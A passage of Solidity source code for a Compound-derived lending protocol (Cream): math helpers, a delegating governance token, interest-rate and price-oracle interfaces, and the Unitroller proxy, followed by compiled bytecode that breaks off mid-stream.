Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } // implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0 // original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint x) pure internal returns (uint) { if (x == 0) return 0; uint xx = x; uint r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint r1 = x / r; return (r < r1 ? r : r1); } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Comp { /// @notice EIP-20 token name for this token string public constant name = "Cream"; /// @notice EIP-20 token symbol for this token string public constant symbol = "CREAM"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 9000000e18; // 9 million Comp /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; import "./CToken.sol"; contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external view returns (uint); } pragma solidity ^0.5.16; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } }
0x608060405234801561001057600080fd5b506004361061045e5760003560e01c80636d154ea51161024c578063b21be7fd11610146578063dce15449116100c3578063e9af029211610087578063e9af0292146112af578063eabe7d91146112d5578063ede4edd01461130b578063f349760014611331578063f851a440146113575761045e565b8063dce154491461123f578063dcfbc0c71461126b578063e4028eee14611273578063e6653f3d1461129f578063e8755446146112a75761045e565b8063ca0af0431161010a578063ca0af04314611149578063cc7ebdc414611177578063d02f73511461119d578063d672d3e2146111e3578063da3d454c146112095761045e565b8063b21be7fd14610fe7578063bb82aa5e14611015578063bdcdc2581461101d578063c299823814611059578063c488847b146110fa5761045e565b806394b2294b116101d4578063abfceffc11610198578063abfceffc14610ea5578063ac0b0bb714610f1b578063b0772d0b14610f23578063b1ab78e614610f2b578063b1e1af2414610fb95761045e565b806394b2294b14610e615780639d1b5a0a14610e69578063a7f0e23114610e71578063a979f0c514610e95578063aa90075414610e9d5761045e565b806387f763031161021b57806387f7630314610d7f5780638c57804e14610d875780638e8f294b14610dad5780638ebf636414610e14578063929fe9a114610e335761045e565b80636d154ea514610ce55780636d35bf9114610d0b578063731f0c2b14610d515780637dc0d1d014610d775761045e565b806344e3de731161035d57806352d84d1e116102e55780635fc7e71e116102a95780635fc7e71e14610a2b578063607ef6c114610a715780636810dfa614610b2f5780636a56947e14610c5b5780636b79c38d14610c975761045e565b806352d84d1e1461096657806355ee1fe1146109835780635c778605146109a95780635ec88c79146109df5780635f5af1aa14610a055761045e565b80634e79238f1161032c5780634e79238f146107bf5780634ef4c3e1146108195780634fd42e171461084f57806351a485e41461086c57806351dff9891461092a5761045e565b806344e3de731461071657806347ef3b3b146107455780634a584432146107915780634ada90af146107b75761045e565b806326782247116103eb578063391957d7116103af578063391957d7146106765780633bcf7ec11461069c5780633c94786f146106ca57806341c728b9146106d257806342cbb15c1461070e5761045e565b806326782247146105dd5780632d70db78146105e5578063317b0b771461060457806336bdd0871461062157806338b8f4c3146106505761045e565b80631d7b33d7116104325780631d7b33d71461050d5780631ededc911461053357806321af45691461057557806324008a621461059957806324a3d622146105d55761045e565b80627e3dd21461046357806302c3bcbb1461047f57806318c882a5146104b75780631d504dc6146104e5575b600080fd5b61046b61135f565b604080519115158252519081900360200190f35b6104a56004803603602081101561049557600080fd5b50356001600160a01b0316611364565b60408051918252519081900360200190f35b61046b600480360360408110156104cd57600080fd5b506001600160a01b0381351690602001351515611376565b61050b600480360360208110156104fb57600080fd5b50356001600160a01b0316611516565b005b6104a56004803603602081101561052357600080fd5b50356001600160a01b0316611675565b61050b600480360360a081101561054957600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060800135611687565b61057d61168e565b604080516001600160a01b039092168252519081900360200190f35b6104a5600480360360808110156105af57600080fd5b506001600160a01b0381358116916020810135821691604082013516906060013561169d565b61057d6116d3565b61057d6116e2565b61046b600480360360208110156105fb57600080fd5b503515156116f1565b6104a56004803603602081101561061a57600080fd5b503561182b565b6104a56004803603604081101561063757600080fd5b5080356001600160a01b0316906020013560ff1661189e565b61050b6004803603602081101561066657600080fd5b50356001600160a01b0316611abd565b61050b6004803603602081101561068c57600080fd5b50356001600160a01b0316611b69565b61046b600480360360408110156106b257600080fd5b506001600160a01b0381351690602001351515611c15565b61046b611db0565b61050b600480360360808110156106e857600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611dc0565b6104a5611dc6565b61050b6004803603604081101561072c57600080fd5b5080356001600160a01b0316906020013560ff16611dcb565b61050b600480360360c081101561075b57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a00135611ef2565b6104a5600480360360208110156107a757600080fd5b50356001600160a01b0316611efa565b6104a5611f0c565b6107fb600480360360808110156107d557600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611f12565b60408051938452602084019290925282820152519081900360600190f35b6104a56004803603606081101561082f57600080fd5b506001600160a01b03813581169160208101359091169060400135611f4c565b6104a56004803603602081101561086557600080fd5b5035612220565b61050b6004803603604081101561088257600080fd5b810190602081018135600160201b81111561089c57600080fd5b8201836020820111156108ae57600080fd5b803590602001918460208302840111600160201b831117156108cf57600080fd5b919390929091602081019035600160201b8111156108ec57600080fd5b8201836020820111156108fe57600080fd5b803590602001918460208302840111600160201b8311171561091f57600080fd5b509092509050612289565b61050b6004803603608081101561094057600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612419565b61057d6004803603602081101561097c57600080fd5b503561246d565b6104a56004803603602081101561099957600080fd5b50356001600160a01b0316612494565b61050b600480360360608110156109bf57600080fd5b506001600160a01b03813581169160208101359091169060400135612519565b6107fb600480360360208110156109f557600080fd5b50356001600160a01b031661251e565b6104a560048036036020811015610a1b57600080fd5b50356001600160a01b0316612553565b6104a5600480360360a0811015610a4157600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013590911690608001356125d7565b61050b60048036036040811015610a8757600080fd5b810190602081018135600160201b811115610aa157600080fd5b820183602082011115610ab357600080fd5b803590602001918460208302840111600160201b83111715610ad457600080fd5b919390929091602081019035600160201b811115610af157600080fd5b820183602082011115610b0357600080fd5b803590602001918460208302840111600160201b83111715610b2457600080fd5b50909250905061273a565b61050b60048036036080811015610b4557600080fd5b810190602081018135600160201b811115610b5f57600080fd5b820183602082011115610b7157600080fd5b803590602001918460208302840111600160201b83111715610b9257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610be157600080fd5b820183602082011115610bf357600080fd5b803590602001918460208302840111600160201b83111715610c1457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050508035151591506020013515156128c1565b61050b60048036036080811015610c7157600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135611dc0565b610cbd60048036036020811015610cad57600080fd5b50356001600160a01b0316612a53565b604080516001600160e01b03909316835263ffffffff90911660208301528051918290030190f35b61046b60048036036020811015610cfb57600080fd5b50356001600160a01b0316612a7d565b61050b600480360360a0811015610d2157600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135611687565b61046b60048036036020811015610d6757600080fd5b50356001600160a01b0316612a92565b61057d612aa7565b61046b612ab6565b610cbd60048036036020811015610d9d57600080fd5b50356001600160a01b0316612ac6565b610dd360048036036020811015610dc357600080fd5b50356001600160a01b0316612af0565b604051808515151515815260200184815260200183151515158152602001826001811115610dfd57fe5b60ff16815260200194505050505060405180910390f35b61046b60048036036020811015610e2a57600080fd5b50351515612b1f565b61046b60048036036040811015610e4957600080fd5b506001600160a01b0381358116916020013516612c58565b6104a5612c8b565b61057d612c91565b610e79612ca9565b604080516001600160e01b039092168252519081900360200190f35b61057d612cbc565b6104a5612ccb565b610ecb60048036036020811015610ebb57600080fd5b50356001600160a01b0316612cd1565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610f07578181015183820152602001610eef565b505050509050019250505060405180910390f35b61046b612d5a565b610ecb612d6a565b61050b60048036036080811015610f4157600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b811115610f7b57600080fd5b820183602082011115610f8d57600080fd5b803590602001918460018302840111600160201b83111715610fae57600080fd5b509092509050612dcc565b61046b60048036036040811015610fcf57600080fd5b506001600160a01b0381351690602001351515612e30565b6104a560048036036040811015610ffd57600080fd5b506001600160a01b0381358116916020013516612fd0565b61057d612fed565b6104a56004803603608081101561103357600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135612ffc565b610ecb6004803603602081101561106f57600080fd5b810190602081018135600160201b81111561108957600080fd5b82018360208201111561109b57600080fd5b803590602001918460208302840111600160201b831117156110bc57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061305e945050505050565b6111306004803603606081101561111057600080fd5b506001600160a01b038135811691602081013590911690604001356130f5565b6040805192835260208301919091528051918290030190f35b6104a56004803603604081101561115f57600080fd5b506001600160a01b038135811691602001351661331d565b6104a56004803603602081101561118d57600080fd5b50356001600160a01b031661333a565b6104a5600480360360a08110156111b357600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135909116906080013561334c565b61046b600480360360208110156111f957600080fd5b50356001600160a01b03166134e3565b6104a56004803603606081101561121f57600080fd5b506001600160a01b038135811691602081013590911690604001356134f8565b61057d6004803603604081101561125557600080fd5b506001600160a01b038135169060200135613840565b61057d613875565b6104a56004803603604081101561128957600080fd5b506001600160a01b038135169060200135613884565b61046b613a34565b6104a5613a44565b61050b600480360360208110156112c557600080fd5b50356001600160a01b0316613a4a565b6104a5600480360360608110156112eb57600080fd5b506001600160a01b03813581169160208101359091169060400135613b01565b6104a56004803603602081101561132157600080fd5b50356001600160a01b0316613b0e565b61050b6004803603602081101561134757600080fd5b50356001600160a01b0316613eb4565b61057d6141e0565b600181565b60186020526000908152604090205481565b6001600160a01b03821660009081526009602052604081205460ff166113cd5760405162461bcd60e51b81526004018080602001828103825260288152602001806153fd6028913960400191505060405180910390fd5b600a546001600160a01b03163314806113f057506000546001600160a01b031633145b61142b5760405162461bcd60e51b815260040180806020018281038252602781526020018061547e6027913960400191505060405180910390fd5b6000546001600160a01b031633148061144657506001821515145b611490576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b6001600160a01b0383166000818152600c6020908152604091829020805486151560ff199091168117909155825193845283830152606090830181905260069083015265426f72726f7760d01b6080830152517f71aec636243f9709bb0007ae15e9afb8150ab01716d75fd7573be5cc096e03b09181900360a00190a150805b92915050565b806001600160a01b031663f851a4406040518163ffffffff1660e01b815260040160206040518083038186803b15801561154f57600080fd5b505afa158015611563573d6000803e3d6000fd5b505050506040513d602081101561157957600080fd5b50516001600160a01b031633146115c15760405162461bcd60e51b815260040180806020018281038252602781526020018061554b6027913960400191505060405180910390fd5b806001600160a01b031663c1e803346040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156115fc57600080fd5b505af1158015611610573d6000803e3d6000fd5b505050506040513d602081101561162657600080fd5b505115611672576040805162461bcd60e51b815260206004820152601560248201527418da185b99d9481b9bdd08185d5d1a1bdc9a5e9959605a1b604482015290519081900360640190fd5b50565b600f6020526000908152604090205481565b5050505050565b6015546001600160a01b031681565b6001600160a01b03841660009081526009602052604081205460ff166116c5575060096116cb565b60005b90505b949350505050565b600a546001600160a01b031681565b6001546001600160a01b031681565b600a546000906001600160a01b031633148061171757506000546001600160a01b031633145b6117525760405162461bcd60e51b815260040180806020018281038252602781526020018061547e6027913960400191505060405180910390fd5b6000546001600160a01b031633148061176d57506001821515145b6117b7576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b600a8054831515600160b81b810260ff60b81b1990921691909117909155604080516020810192909252808252600582820152645365697a6560d81b6060830152517fef159d9a32b2472e32b098f954f3ce62d232939f1c207070b584df1814de2de09181900360800190a150805b919050565b600080546001600160a01b031633146118515761184a600160046141ef565b9050611826565b6005805490839055604080518281526020810185905281517f3b9670cf975d26958e754b57098eaa2ac914d8d2a31b83257997b9f346110fd9929181900390910190a160005b9392505050565b600080546001600160a01b